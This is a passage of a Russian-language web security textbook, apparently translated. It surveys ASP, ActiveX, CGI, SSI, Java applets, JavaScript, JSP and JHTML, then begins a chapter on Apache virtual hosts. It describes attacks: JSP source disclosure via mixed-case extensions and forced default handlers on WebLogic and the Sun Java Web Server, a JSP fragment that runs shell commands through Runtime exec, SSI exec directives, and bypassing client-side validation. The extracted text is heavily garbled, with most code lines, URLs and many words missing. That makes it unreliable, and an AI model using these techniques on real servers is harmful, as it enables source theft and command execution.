VBScript,
и
В этом файле могут описываться также события прило
жения и сеансов, а также объявления <object> и библиотеки типов
Для того чтобы избежать размещения информации о соединении в файле ASP,
ее можно поместить в файл
который хранится в корневом каталоге
Web сервера
Это позволит надежно скрыть конфиденциаль
ную информацию.
<SCRIPT
Sub
=
script"
15
=30
End Sub
</SCRIPT>
Обратите внимание, что строка
целиком вставлена в
файл
После этого аналогичную строку в файле ASP (и в любом другом
файле ASP, который обращается к тому же источнику данных) можно удалить.
Элементы управления ActiveX
Элементы ActiveX относятся к объектной модели компонентов COM (Component
Object Model). Это еще один механизм, разработанный компанией Microsoft для пере
дачи динамического содержимого в Web. Кроме того, существуют также встраиваемые
модули компании Netscape.
Элементы управления ActiveX могут разрабатываться на многих языках програм
мирования, включая C++, Visual Basic и Java. С использованием технологии ActiveX
можно создавать объекты с динамическим содержимым, например часы, изображения
с анимационными эффектами и соединения с базами данных. Опасность элементов
ActiveX заключается в том, что они размещаются в программах контейнерах, таких,
как Microsoft Office.
В отличие от большинства упоминавшихся выше языков программирования Web,
элементы ActiveX нельзя создавать в простых текстовых редакторах, поскольку они
должны компилироваться и помещаться в файлы
в интегрированной среде разра
ботки IDE, например C++/MFC или Visual Basic. Созданный один раз,
и
соответствующий идентификатор
должны использоваться в файле HTML, в ко
тором выполняется загрузка элемента управления ActiveX. Ссылка создается с исполь
зованием дескриптора HTML <object> и его атрибутов
и CODEBASE. В следую
щем фрагменте кода с помощью управляющего элемента ActiveX воспроизводится
файл QuickTime.
Глава Языки программирования для Web: Вавилон XXI столетия
43
В атрибуте
дескриптора <object> указан идентификатор элемента управле
ния ActiveX, содержащегося в файле
В данном случае атрибут
CODEBASE дескриптора <object> не нужен, однако если он используется, то в нем долж
но быть указано местоположение откомпилированного файла
При использова
нии элементов ActiveX возникает две проблемы обеспечения безопасности.
1. Элементы управления ActiveX могут выполнять сложные функции, включая
чтение/запись файлов или выполнение кода в локальной системе. Взломщик
может создать опасный элемент ActiveX, который при просмотре его Web узла
может выполнить некоторые функции на пользовательском компьютере, на
пример прочитать файлы на жестком диске и отправить их взломщику.
2. При использовании элемента ActiveX обычно требуется указать местоположе
ние файла
так что взломщик, скорее всего, сможет обнаружить менее за
щищенный раздел файловой системы Web узла и использовать его для атаки.
Для тех разработчиков, которые осознают важность обеспечения безопасности,
можно порекомендовать офаничить или даже полностью отказаться от использования
элементов управления ActiveX на Web узлах.
Технология ASP: заключительные замечания
Несмотря на то что технология ASP и ее возможности были рассмотрены лишь вкрат
це, этого вполне достаточно для получения общего представления об области ее примене
ния и основных особенностях. Для обеспечения безопасности приложений, реализован
ных на основе технологии ASP, можно воспользоваться рекомендациями, приведенными
выше в разделе, посвященном платформе ColdFusion. Они сводятся к следующему.
1. Удалите файлы примеров из каталогов, созданных по умолчанию в процессе
установки.
2. Контролируйте значения полей ввода информации.
Однако, как станет ясно из последующих глав, эти рекомендации являются лишь
начальными мерами по решению проблемы уязвимости ASP.
CGI
Расширения файлов: . cgi,
Интерфейс CGI (Common Gateway Interface) является одним из старейших и
зрелых стандартов Internet, определяющих механизм обмена информацией между Web
сервером, программой (например, на языке
и Web броузером, а также используемый
при этом формат данных. Объединение механизма CGI с такими языками, как Perl, по
зволило создать одну из первых платформ передачи динамического содержимого в Web.
В отличие от технологий ASP или PHP, CGI не является языком, а скорее пред
ставляет собой набор рекомендаций, применяемых в других языках. Фактически для
создания
можно использовать различные языки, в том числе:
• Perl;
•
• Java;
44
Часть I. Будни электронной коммерции
• языки сценариев командных оболочек sh, csh и (Unix);
• Visual Basic (Windows);
•
Чтобы поближе познакомиться с кодом CGI, рассмотрим простую программу
Perl/CGI, которая выводит строку Hello World! в окне Web броузера.
Программа Perl,
общие
CGI
*} Выводит строку "Hello World!" в окне броузера
print
print
программа
print
По существу, это программа на языке Perl. Первый оператор print с аргументом
\n\n необходимо использовать из за того, что механизм CGI не
обеспечивает автоматической передачи заголовков HTTP для каждого запроса. Имен
но для этого используется сценарий Perl. Заголовок Content type обеспечивает вывод
строки Hello
на экран. Без него будет выведено сообщение об ошибке.
The specified CGI application misbehaved by
a complete set of
headers
(Приложение CGI неверно работает, не
возвращая полного набора заголовков HTTP)
Второй оператор print просто формирует файл HTML с дескрипторами <html>,
<head> и <title>. Последний оператор, print, выводит текст Hello World! в броузере.
Переменные окружения
Обсуждение CGI было бы неполным без рассмотрения переменных окружения.
Как описывается в главе 3, в запросе HTTP содержатся стандартные заголовки, кото
рые могут использоваться в качестве переменных сценария CGI. Они обеспечивают
передачу информации между формой в Web броузере и удаленной
а
также позволяют лучше интерпретировать параметры броузера. Список стандартных
переменных окружения CGI приведен в табл. 1.2.
Этот список далеко не полный, однако он дает общее представление о том, сколь
широки и разнообразны возможности реализации атак на Web сервер. Более подроб
ную информацию о значениях переменной
можно найти по адресу:
Перечень всех переменных РНР можно получить с помощью функции
Например, если взломщик разместит файл на Web сервере, на котором за
пущен модуль РНР, то, вставив единственную строку в этот файл, он может получить
список всех переменных системы.
Серверные включения (SSI): HTML и SHTML
Расширения файлов:
.shtm, .stm
Файлы SHTML принято относить средствам CGI, поскольку обычно в них исполь
зуются серверные включения SSI, обеспечивающие возможность обработки данных на
сервере. Технология SHTML считается "прародителем" средств обработки информации на
сервере, поскольку она использовалась еще на заре развития Web, но все еще применяется
в настоящее время (хотя достаточно редко). Серверные включения, как и фрагменты кода
Глава Языки программирования для Web: Вавилон XXI столетия
45
на всех
выше языках, размещаются в документе HTML, а соответствующие
команды обрабатываются приложением, размещенным на Web сервере. Команды выпол
няются, а полученные результаты передаются броузеру. Вот простой пример серверного
включения, после обработки которого возвращается дата в формате GMT:
<body>
</body>
</html>
Таблица 1.2. Переменные окружения CGI
Переменная
Описание
GATEWAY_INTERFACE
PATH_INFO
SERVER_PORT
REMOTE_USER
REMOTE_HOST
REMOTE
Содержит номер версии CGI, поддерживаемой на сервере. Формат:
(например,
Содержит
сервера, имя узла или IP адрес сервера, на котором запущена
программа CGI
Содержит имя и версию программного
запущенного на сервере.
Формат: имя/версия (например, Server:
В этой переменной размещается вся строка запроса, указанная в за симво
лом ?. Например, если в сценарий
передаются два параметра, http:/
то в переменной
будет храниться строка
Содержит дополнительную информацию, указанную в
которая может понадо
биться на сервере для обработки формы. Лучшим примером использования этой
переменной является случай, когда
нужно передать информацию о
местоположении файла
Содержит имя и версию используемого протокола. Формат: протокол/версия
(например,
Содержит номер порта сервера. Обычно используется TCP порт 80
Метод HTTP, используемый для передачи информации, обычно GET, PUT, POST
или HEAD. Для получения более подробной информации о методах HTTP читайте
главу 3
Хранит тип содержимого, соответствующего передаваемым данным, например
Определяет длину содержимого (POST или PUT), передаваемого в клиентском за
просе. Обычно это значение измеряется в байтах
Содержит виртуальный путь к запускаемому сценарию
удаленного пользователя
Определяет зависящий от протокола метод аутентификации пользователя
Хранит преобразованное значение PATH_INFO. Эта переменная используется для
преобразования виртуальных каталогов в физические
Хранит имя удаленного узла, с которого поступил запрос
Хранит IP адрес удаленной системы, отправившей запрос
Если сервер поддерживает спецификацию RFC 931, то в переменной
REMOTE_IDENT хранится имя удаленного пользователя, полученное сервером.
Обычно этот пользователь обладает ограниченными правами на регистрацию
46
Часть I. Будни электронной коммерции
Окончание табл. 1.2
Переменная
Описание
НТТР_АССЕРТ или Хранит типы MIME, поддерживаемые клиентом, например text/plain,
ACCEPT
text/html,
и application/html
HTTP_USER_AGENT Хранит название производителя и версию клиентского Web броузера
Признаком использования серверных включений является наличие символов ---
и В предыдущем примере директива var использовалась для отображения значе
ния переменной
Применяя технологию SSI, можно выполнять различные
функции, в том числе приведенные в табл. 1.3.
Серверные включения и сервер IIS
компании Microsoft
По умолчанию сервер IIS не разрешает использовать команды CMD директивы EXEC.
Для того чтобы изменить этот режим, добавьте в системный реестр следующий пара
метр, а затем перезагрузите систему.
Раздел
Имя параметра
Тип
DWORD
Значение
1
Замечание. Если в системном реестре в этом параметре содержится значение 1, не
медленно удалите его (естественно, при условии, что он не требуется).
Хотя в настоящее время серверные включения используются в Web приложениях
достаточно редко, нужно проявлять бдительность. Соблюдайте осторожность при ис
пользовании преимуществ этой технологии, поскольку коварный хакер может быть
следующим, кто ими воспользуется.
Таблица 1.3. Директивы SSI
Директива
var=
При использовании директив SSI можно получить доступ ко многим
в том числе:
(содержит дату и время сервера);
HTTP_REFERER (определяет местонахождение пользователя);
DATE_GMT (содержит дату и время по Гринвичу);
REMOTE_ADDR или REMOTE_HOST (содержит исходный
или имя узла
соответственно); или
(содержит имя Web страницы);
AGENT (содержит имя Web броузера)
Позволяет выполнять на удаленной системе произвольные команды. Обычно
команда cmd выполняется только в системах Unix, однако известно, что в
Windows ее тоже можно использовать. Очевидно, что такая возможность
представляет серьезный риск нарушения безопасности. Поэтому в большин
стве Web серверов приложений ее по умолчанию отключают. Тем не менее
возможность выполнения произвольных команд стала причиной многих ус
взломов
Глава Языки программирования для Web: Вавилон XXI столетия
47
Окончание табл. 1.3
Директива
Функция
Запускает программу CGI. Зачастую эту директиву используют при вызове
других файлов для отображения текста
size
размер файла
<
file=
Возвращает дату последнего изменения файла
include f
Включает текст из файла
virtual Эту команду нужно использовать для обращения к файлу .
находяще
муся в другом каталоге
Защищает данные, содержащиеся после этой команды, поскольку такая стро
ка сервером игнорируется. В этом разделе документа можно найти интерес
ную информацию
Java
Расширения файлов: отсутствуют
Язык Java в начале 1990 х годов был создан Джеймсом Гослингом (James
Gosling), сотрудником компании Sun Microsystems, и первоначально назывался Oak.
Без сомнения, язык Java представляет собой одну из наиболее обещающих и раз
рекламированных технологий последнего десятилетия. Этот язык изначально пла
нировалось использовать в бытовых электронных устройствах. Это поистине дос
тойная цель для языка программирования, претендующего на главную роль в ин
формационном сообществе. Даже в настоящее время Java олицетворяет почти
недостижимую универсальную переносимость и функциональность. Популярность
языка Java на современном рынке достаточно высока, однако до его повсеместного
распространения еще довольно далеко.
Java --- это объектно ориентированный язык, в котором все элементы программы
(т.е. переменные, функции, подпрограммы или само приложение) считаются объек
тами. В настоящее время с использованием Java разрабатываются многие Web
приложения. Однако их исходный код нельзя получить так же просто, как при ис
пользовании других языков программирования для Web. Это связано с
что ис
ходный код Java компилируется в файлы
в которых содержится байт код.
Ниже рассматриваются вопросы использования клиентской и серверной версии
Java.
Использование Java в клиентской части
приложения
Эта версия Java предназначена для использования в клиентской системе и броузе
ре конечного пользователя.
две клиентские версии Java --- для создания
и сценариев.
48
Часть I. Будни электронной коммерции
Для загрузки и запуска
Java с помощью клиентского Web броузера исполь
зуются дескрипторы
внедренные в код HTML. Один из основных рисков,
связанных с использованием аплетов, заключается в том, что, хотя они и скомпили
рованы в байт код, типичный класс Java можно загрузить отдельно и декомпилиро
вать. Это позволит взломщику просмотреть исходный код Java, провести его анализ и
найти уязвимые места. Эти вопросы будут обсуждаться в данной главе, а также на
протяжении последующих глав книги.
Аплеты Java можно разрабатывать в любом текстовом файле, как и при использо
вании многих других языков, рассмотренных выше в главе. Простой
можно соз
дать в течение нескольких минут. Например, для создания
выводящего на эк
ран строку "Hello
достаточно скопировать приведенный ниже код в тексто
вый файл, а затем присвоить ему любое имя с расширением .
import
import
public class
extends Applet
{ public void paint (Graphics g)
{
5, 30);
}
} Необходимо отметить следующее:
• оператор import эквивалентен директиве
языка C/C++ в том смысле,
что обеспечивает включение всех требующихся компилятору классов;
• класс
расширяет класс
задающий базовые
свойства аплета;
• класс Graphics применяется для вывода графики на экран.
Теперь исходный файл нужно скомпилировать в байт код с помощью интерпрета
тора Java
После компиляции формируется файл класса Java
С этого момента его можно запускать из HTML кода Web
страниц с помощью дескриптора <applet>.
<APPLET
width=300>
</APPLET>
Когда аплет Java загружается в память, для каждого метода
создается от
дельный поток. Затем байт код выполняется процессором. Байт код --- это последо
вательность
ассемблерному или двоичному коду, в кото
рой каждая инструкция состоит из однобайтового кода операции (действия) и нуле
вого или большего количества операндов. Из за использования байт кода
Java
не пересылаются по Internet в виде обычного текста. К сожалению, подобная маски
ровка на мешает взломщику декомпилировать байт код и получить исходный код
Java. Имея исходный код, взломщик может подробно ознакомиться с работой прило
жения, в том числе получить любые пароли, используемые для соединения с сервера
ми и доступа к базам данных.
Из многих существующих сегодня декомпиляторов Java наиболее точным является
JAD (Java Decompiler), разработанный Павлом Кузнецовым (Pavel Kouznetsov). Ядро
Глава Языки программирования для Web: Вавилон XXI столетия
49
написано на C/C++, что обеспечивает высокую скорость его работы. Более под
робно декомпилятор JAD рассматривается в последующих главах.
В табл. 1.4 представлено подробное описание дескриптора <applet>.
Таблица 1.4. Полное описание дескриптора <applet>
Дескриптор/
атрибут
Описание
<APPLET>
Открывающий дескриптор
CODEBASE =
Каталог, в котором содержатся файлы
ARCHIVE = (Необязательный.) Архив, в котором описаны предварительно загружаемые классы
CODE =
(Обязательный.) Имя файла
или
Или
OBJECT =
(Обязательный, если CODE не используется.) Преобразованное представление аплета
ALT
(Необязательный.) Текст, отображаемый при неудачном запуске
NAME
= (Необязательный.) Имя экземпляра
WIDTH
= (Обязательный.) Начальная ширина аплета в пикселях
HEIGHT
= (Обязательный.) Начальная высота аплета в пикселях
ALIGN
= (Необязательный.) Тип выравнивания аплета на HTML странице
VSPACE
= (Необязательный.) Расстояние от области отображения аплета до верхней границы
родительского окна в пикселях
HSPACE
= (Необязательный.) Расстояние от области отображения аплета до боковой границы
родительского окна в пикселях
NAME = имя VALUE =
(Необязательный.) Имя и значение,
</APPLET> Закрывающий дескриптор
языки сценариев
Языки сценариев Java практически полностью используются в клиентской системе.
•Их основное преимущество заключается в хорошей производительности, а не в обес
печении безопасности, поскольку взломщик может без особых проблем их изменить
и, таким образом, использовать для достижения своих злонамеренных целей.
JavaScript
Это не компилируемый, а интерпретируемый язык сценариев, который изначально
был разработан компанией Netscape. Однако между языками JavaScript и Java нет ни
какой связи, кроме схожести названий. Java является компилируемым, объектно
ориентированным и достаточно сложным языком программирования, в то время как
JavaScript представляет собой объектный язык разработки сценариев, предназначен
ный для быстрого создания Web приложений. Хотя он и предоставляет некоторые ба
зовые возможности объектно ориентированного подхода, он гораздо ближе к языкам
сценариев, например Perl. Язык JavaScript полезно использовать для решения простых
задач, например для проверки правильности заполнения полей формы, добавления
кода HTML по требованию, выполнения пользовательских вычислений.
Вот простой пример использования JavaScript, когда после щелчка на кнопке на
экране отображается сообщение:
50
Часть I. Будни электронной коммерции
<html>
пример использования JavaScript</title>
<script
сокрытие кода JavaScript от броузеров, его не поддерживающих
function
{
and
}// Завершение сокрытия
>
</script>
</head>
<hl
пример
<div align=center>
<input
World Me!"
Этот пример хорошо подходит для более тесного знакомства с языком и способом
его использования. В следующем примере показано, как можно повысить безопас
ность программы, написанной на языке JavaScript.
Из за того, что сценарии JavaScript выполняются клиентским броузером, взлом
щик может обойти процедуру проверки введенной информации и воспользоваться не
стандартными данными, чтобы нарушить работу приложения или, что еще хуже, за
ставить его раскрыть конфиденциальную информацию. В следующем примере сцена
рий JavaScript используется для проверки корректности введенных данных и для
ввода корректного возраста в поле age формы. Код JavaScript ограничи
вает возможность ввода возраста диапазоном
Любое значение за пределами
этого диапазона считается некорректным.
<head>
данных, введенных в попе
<script>
снова скрываем JavaScript
function validate
{if
<1)
попытка
Пожалуйста, введите
return false;
{
if
> 110)
Пожалуйста, введите НАСТОЯЩИЙ
return false;
else
возраст Ч
return true;
// Завершение сокрытия
</script>
</head>
<body>
Глава Языки программирования для Web: Вавилон XXI столетия
validate
введите Ваш
<input type=text
size=3
</body>
Зная, что код JavaScript обрабатывается клиентским броузером, можно сохранить
файл HTML, полученный от Web сервера, и удалить строки, используемые для кон
троля вводимых значений. В результате функция validate () локального HTML
файла будет всегда возвращать значение true.
function validate
{ return true;
} Для завершения модификации программы, нужно изменить значение атрибута
action
и задать в нем адрес удаленного сценария
После этого можно открыть локальный файл, ввести любое значение в поле age
и щелкнуть на кнопке Submit Age. В результате нарушения работы сервера может и
не произойти, однако полученные результаты в любом случае далеки от идеальных.
Язык Jscript --- это
компании Microsoft разработать аналог JavaScript для
Web броузера
Explorer. Как и JavaScript, Jscript является интерпретируемым,
объектно ориентированным языком сценариев. Однако в отличие от JavaScript, язык
Jscript предоставляет гораздо более широкие возможности взаимодействия с элемен
тами ActiveX, чем VBScript. Кроме того, Jscript не может выполнять чтение/запись
файлов и не предназначен для создания автономных приложений.
Сценарии Jscript используются практически так же, как и сценарии JavaScript:
с использованием дескриптора <script>. Следующий фрагмент кода выводит в окне
броузера строку "Hello
<SCRIPT
снова скрываем
function
{
var
= "Hello
}
//
сокрытия
>
</SCRIPT>
<SCRIPT>
</SCRIPT>
Более подробную информацию о языке Jscript можно найти по адресу:
52
Часть I. Будни электронной коммерции
Использование Java на сервере
В настоящее время серверные компоненты Java чрезвычайно широко используют
ся в Internet и поэтому являются заветной целью взломщиков со всего мира. Как пра
вило, серверные компоненты реализуются на основе таких технологий
как
серверные страницы Java (Java Server Pages --- JSP) и JavaHTML (JHTML).
Серверные страницы Java (JSP)
Расширения файлов: . j s p
В современном мире электронной коммерции лишь немногие технологии могут
поспорить с доминирующей ролью страниц JSP. Управление такими страницами
осуществляется с использованием серверов приложений Java (Java Application Server ---
JAS), которые обрабатывают серверные страницы и преобразуют их в код HTML, пе
редаваемый клиентским броузерам. Как будет продемонстрировано в главе 12, стра
ницы JSP являются мощным механизмом, который можно использовать для разра
ботки сложных Web узлов электронной коммерции. Однако их мощью можно вос
пользоваться и в качестве разрушительной силы.
Технологию JSP можно рассматривать как версию Java для разработки сценариев,
с помощью которой код Java можно внедрить в HTML файл. Страницы JSP
руются как
Java, запускаемые на сервере. Как и при использовании страниц
ASP, внедряя код Java в HTML файлы, можно создавать динамическое содержимое.
При этом синтаксис JSP оказывается не очень выразительным, поскольку во многом
он лишь реализует интерфейс с ядром Java на сервере. По сути, этот синтаксис опре
делен компанией Sun Microsystems в одном двухстраничном файле PDF, который
можно найти по адресу:
На рынке имеются различные серверы JAS. Однако среди них можно выделить
"большую пятерку": WebLogic от компании BEA, Java Web Server от компании Sun,
JRun от Allaire, WebSphere от IBM и JDeveloper от Oracle. Все вместе они охватывают
95% используемых в электронной коммерции серверов приложений Java.
Взаимодействие с базой данных
Это одна из наиболее значительных возможностей JSP, благодаря которой дина
мическое содержимое можно формировать на основе информации из базы данных.
При этом можно воспользоваться различными вариантами соединения, включая
JDBC, мост JDBC ODBC, драйвер JDBC OCI, тонкий драйвер JDBC от Oracle и
драйвер mySQL JDBC. Вот несколько фрагментов кода, в которых демонстрируются
примеры подключения к базе данных:
// МОСТ JDBC ODBC
String
Connection conn =
// Oracle JDBC OCI
String
Connection conn =
"sa",
// Oracle JDBC Thin
String
Connection conn
"sa",
Глава Языки программирования для Web: Вавилон XXI столетия
53
String
Connection conn
Чтобы познакомиться с синтаксисом JSP поближе, рассмотрим пример взаимодей
ствия с базой данных.
page
try
{ это имя DSN, используемое для подключения
String
// Соединение
Connection conn =
// Создание оператора JDBC
Statement
=
creates
String
* FROM Autos";
// Выполнение запроса
result =
conn.close();
}
// обработка исключения
e)
// Печать
выполнен
В этих фрагментах кода нужно хорошо разобраться и разработчикам Web
приложений, и специалистам по безопасности. Это позволит обеспечить безопасность
Web приложений, поскольку взаимодействие с базами данных является основой тех
нологии JSP.
Вскрытие исходного кода
Исходный код файла JSP можно получить, принудительно задав обработку исход
ного кода в режиме "как есть"
Другими словами, следует
серверу
приложений о том, что исходный код
нужно отобразить в виде незашифрован
ного текста.
Чувствительность к регистру
Один из
приемов сводится к использованию символов различного реги
стра в расширении
JsP
С использованием такого синтаксиса взломщик мог получить исходный код JSP
при обращении к ранним версиям сервера WebLogic от компании ВЕА.
Принудительная установка обработчиков, используемых по умолчанию
Другой тип атаки на сервер WebLogic --- принудительная установка специального
обработчика файла и получение исходного кода этого файла.
При таком подходе взломщик сможет увидеть исходный код файла
jsp и,
скорее всего, получить имя пользователя и пароль. Риск нарушения безопасности
54
Часть I. Будни электронной коммерции
возникает из за того, что в конфигурационном файле сервера
по умолчанию
содержится следующая строка:
Регистрация
по умолчанию
Виртуальное имя сервлета,
по
I если не найден
сервлет
Эти используемые по умолчанию параметры позволяют взломщику просмотреть
исходный код файлов JSP.
произвольных команд
При выполнении определенных условий взломщик может "заставить" сервер Java
Web Server компании Sun выполнить обычный файл
как файл JSP.
В таком файле может содержаться дескриптор JSP, подобный следующему:
String s=null,
try
{Process
/c
« new
В данном случае запускается команда dir, которая в системе Windows позволяет
получить содержимое текущего каталога. Это безобидная команда, но взломщик
может запустить любую команду с правами учетной записи Administrator или root.
Команда
используется для вывода результатов команды dir.
Чтобы вынудить обработчик
выполнять команды, содержащиеся в тек
стовом файле, взломщик может воспользоваться URL, аналогичным следующему:
Для получения дополнительной информации о технологии JSP обратитесь к раз
делу FAQ Web узла компании Sun Microsystems (http://java.sun.com/products/jsp/
JHTML
Расширения файлов: .
Это стандарт JavaSoft компании Sun Microsystems, в котором определен механизм
включения кода Java в файл HTML. Как и все описанные выше серверные языки,
JHTML имеет собственные дескрипторы, которые обрабатываются перед передачей
выходных данных клиентскому броузеру.
Код JHTML очень похож на HTML, однако в нем используется дополнитель
ный дескриптор <java>. Чтобы проанализировать риски нарушения безопасности,
нужно поближе познакомиться с кодом JHTML. Рассмотрим несколько фрагмен
тов кода JHTML.
Hello
</java>
В этом фрагменте строка Java generated Hello World отображается в броузере. Ни
же приведен еще один фрагмент кода JHTML, в котором под управлением сервера
Глава Языки программирования для Web: Вавилон XXI столетия
55
WebLogic с использованием драйвера JDBC OCI компании Oracle устанавливается со
единение с базой данных.
<java type=class>
final String
=
static final String
=
static final String user
=
static final String password =
protected Connection
{
Connection conn null;
try{ forName
conn *
user, password);
}
catch (Exception f) {
}
return conn;
{
</java>
Язык JHTML обеспечивает простоту страниц JSP. Однако при его использовании
возникают риски нарушения безопасности, в том числе связанные с получением ис
ходного кода.
Получение исходного кода
Принудительная установка обработчиков, используемых по умолчанию
Сервер Java Web Server компании Sun оказался столь же уязвимым к проблеме
принудительного задания обработчика по умолчанию, как и сервер WebLogic. Он так
же разрешает доступ к файлам JHTML. Взломщик может просто задать обработчик
и получить исходный код любого файла JHTML.
jhtml .
Решение проблемы заключается в настройке псевдонимов
таким образом,
чтобы вместо предоставления исходного кода файла выдавалось сообщение об ошибке.
error
error
error
/servlet/ssinclude error
Чувствительность к регистру
Сервер WebLogic от компании ВЕА также оказался уязвимым к использованию
в расширении файлов символов разного регистра. Этот изъян позволяет получить
исходный код. Для атаки используется тот же синтаксис.
Таким образом, языку JHTML присущи те же недостатки, что и другим серверным
языкам. Однако изменение конфигурации, установка необходимых модулей обновле
ния и использование механизма контроля входных данных позволяют существенно
снизить большинство рисков, связанных с обеспечением безопасности.
56
Часть I. Будни электронной коммерции
Резюме
В атаке могут быть задействованы практически все языки Web, поэтому первым
шагом в осмыслении потенциальных атак является знакомство с самими языками и
основными принципами их использования. Очевидно, что невозможно разобраться во
всех или хотя бы в некоторых аспектах этих языков, прочитав лишь одну главу. Одна
ко этого вполне достаточно для знакомства с их основными особенностями. Кроме
того, в процессе оценки уровня безопасности нужно уметь классифицировать исполь
зуемые языки программирования.
В этой главе кратко рассматривались потенциальные риски нарушения безопасно
сти, связанные с использованием некоторых языков программирования в Web. В по
следующих главах описываются другие бреши в подсистеме зашиты, а также соответ
ствующие контрмеры, которые позволят избежать многих проблем.
Глава Языки программирования для Web: Вавилон XXI столетия
57
ГЛАВА 2
и серверы баз данных
Переход от заблуждения к истине --- это событие исключительное
и прекрасное.
Виктор Гюго (1802 1885), французский поэт, писатель романист,
драматург, эссеист
Введение
Web серверы и серверы баз данных --- это сердце и мозг всей структуры Internet.
Каждый импульс исходит от Web сервера, а любая операция сохранения или извлече
ния данных выполняется путем обращения к базе данных. Таким образом, оба ком
понента играют чрезвычайно важную роль в стабильной работе любого Internet
приложения и именно поэтому являются излюбленной целью хакеров. Для обеспече
ния безопасности информационных активов необходимо иметь представление о тех
базовых технологиях, которые положены в основу Web приложений и в некоторых
случаях предопределяют их
к действиям хакеров.
В этой главе детально проанализированы два наиболее часто используемых сегодня
Web сервера: Internet Information Server (IIS) корпорации Microsoft и Apache от Apache
Software Foundation. Здесь также рассматриваются две наиболее распространенные в
настоящее время системы управления базами данных: Microsoft SQL Server и Oracle 9i.
В ходе обсуждения будут отмечены многочисленные "подводные камни" использова
ния этих непростых технологий, особенности их функционирования и обеспечения
безопасности, а также то, как они все вместе стимулируют развитие электронной
коммерции и неизменно притягивают к себе внимание хакеров.
Web серверы
Всякий раз, когда броузеру необходимо подключиться к какому либо Web узлу в
Internet (или в корпоративной сети), он устанавливает связь с Web сервером. Такой
сервер ожидает поступления запросов из сети и отправляет инициатору запроса опре
деленные данные.
Сервер Apache
На Web узле организации Apache Software Foundation утверждается: "Apache явля
ется наиболее популярным в Internet Web сервером с апреля 1996 года". Популяр
ность сервера Apache
в значительной степени объясняется
тремя факторами: поддержкой целого ряда платформ, функциональными возможно
стями и ценой. Web сервер Apache работает практически на всех популярных плат
формах, включая NetBSD, Digital UNIX, OS/2, Windows 3.x, SCO, HPUX, Novell
NetWare, Macintosh, Be OS, Windows NT, Linux, VMS,
Windows 95, FreeBSD,
IRIX и Solaris. Кроме того, этот Web сервер всегда предоставляет большой спектр
возможностей, позволяя быстро разрабатывать и усовершенствовать любой Web узел.
И последний, но не менее важный аспект заключается в том, что Web сервер Apache
распространяется по самой выгодной цене: бесплатно!
Учитывая, что сегодня более 56% всех Web серверов реализованы на базе пакета
Apache (по данным Netcraft 2001), неудивительно повышенное внимание к нему хаке
ров. Любая новая возможность или платформа, поддерживаемая Apache, увеличивает
шансы злоумышленников по использованию уязвимых мест в программном коде.
В этой главе обсуждается сервер Apache версии 2.0.32. Он предоставляет несколько
возможностей, некорректное использование которых, как правило, приводит к нару
шению безопасности.
• Виртуальные узлы.
• Серверные включения.
• Генерация динамического содержимого с использованием интерфейса CGI.
Глава 2. Web серверы и серверы баз данных
59
• Обработчики.
• Переменные окружения.
• Отображение URL на файловую систему
Будучи столь востребованным, сервер Apache привлекает людей разного рода.
Многие из них пытаются найти различные его изъяны и воспользоваться ими.
Виртуальные узлы
Нынешний рост Internet, а также миллионы Web страниц, обслуживаемых в этой
сети, возможно, никогда не стали бы реальностью, если бы не концепция виртуаль
ных узлов. Она позволяет одному компьютеру одновременно обслуживать множество
В результате один физический компьютер, на котором функционирует
один Web сервер, может обслуживать страницы огромного числа Web узлов. Это дос
тигается за счет применения двух механизмов адресации, в одном из которых исполь
зуются имена доменов (name based), а во втором --- IP адреса (IP based).
Использование имен доменов
В рамках обслуживания виртуальных узлов на базе имен пользователь должен пре
доставить уникальное имя для каждого HTTP запроса. Как правило, в качестве такого
имени используется имя DNS, указываемое в строке URL клиентского Web броузера.
Службой DNS хостинговой компании поддерживаются записи
на DNS сервере,
причем все они ссылаются на один и тот же IP адрес. Так, если выполнить поиск по
имени трех виртуальных Web узлов, обслуживаемых на одной системе, то будет полу
чен один и тот же IP адрес. Например, выполним поиск следующего японского Web
узла (узел
С:\>
Server:
Address:
Non authoritativ e an swer:
Name:
Address: 172.16.30.222
Теперь выполним поиск бразильского Web узла (узел 2):
nslookup www.bz.example.com
Server: UnKnown
Address: 192.168.0.1
Non authoritative an s w e r:
Name: www.bz.example.com
Address: 172.16.30.222
И наконец, выполним поиск американского Web узла (узел 3):
nslookup www.us.example.com
Server: UnKnown
Address: 192.168.0.1
Non authoritative answer:
Name:
Address: 172.16.30.222
Обратите внимание, что все три Web узла имеют один и тот же IP адрес. Обнару
жить виртуальные узлы со схемой адресации на основе имен довольно просто, а вот
виртуальные узлы на базе IP адресов --- гораздо сложнее.
60
Часть I. Будни электронной коммерции
Итак, соединяясь с Web узлом, который поддерживается наряду с другими узлами
на одной и той же системе, необходимо использовать следующий адрес
Броузер генерирует HTTP запрос
в котором истинный адресат указан в строке
заголовка
GET /
Accept: */*
gzip, deflate
User Agent:
NT 5.0)
Host:
Connection: Keep Alive
Получив такой запрос, Web сервер выделяет строку
Host:
и передает запрос на страницу виртуальному узлу www.us.example.com. В результате
Web сервер отображает лишь те Web страницы, которые относятся к узлу
w ww.us.example.com, а не множество страниц других Web узлов, поддерживаемых на
этой же системе.
Использование IP адресов
При поддержке виртуальных узлов на базе IP адресов для каждого виртуального
Web узла на сервере должен быть зарезервирован уникальный IP адрес. В данном
случае используется тот же принцип, что и при создании вторичных IP адресов в сис
темах Windows и IP псевдонимов в системах Unix.
в системе UNIX
Пользователям Unix не обойтись без использования псевдонимов IP. Как правило,
при этом часто используется команда
Например, чтобы добавить три IP
адреса к интерфейсу ethO (учитывая, что базовым IP адресом является 172.16.30.222),
можно использовать следующие команды;
/opt]l /sbin/ifco nfig ethO:0 172.16.30.50
/sbin/ifconfig
172.16.30.51
/sbin/ifconfig
172.16.30.52
/sbin/ifconfig a
ethO Link
HWaddr
UP BROADCAST RUNNING
RX packets:33272 errors:20 droppediO overruns:20
TX
Base
ethO:0 Link
HWaddr 00:50:04:91:D5:AO
inet
UP BROADCAST RUNNING
Interrupt:3 Base address:0x300
Link
HWaddr 00:50:04:91:D5:AO
inet
UP BROADCAST RUNNING MTU:1500
Base address:0x300
Глава 2. Web серверы и серверы баз данных
61
ethO:2 Link
EWaddr
inet
UP BROADCAST RUNNING
Base
Все три новых IP адреса связаны с интерфейсом
указывая на то, что ин
терфейс ethO имеет три новых псевдонима:
.51 и
В отличие от механизма поддержки виртуальных узлов на базе имени домена, при
использовании схемы адресации на основе IP адресов предполагается, что с каждым
IP адресом должно быть связано уникальное имя DNS. Другими словами, каждому
созданному IP адресу должна соответствовать запись службы DNS. Для реализации
этого требования обращайтесь к соответствующим разделам документации.
Теперь каждый IP адрес нужно ассоциировать с соответствующим Web узлом. Для
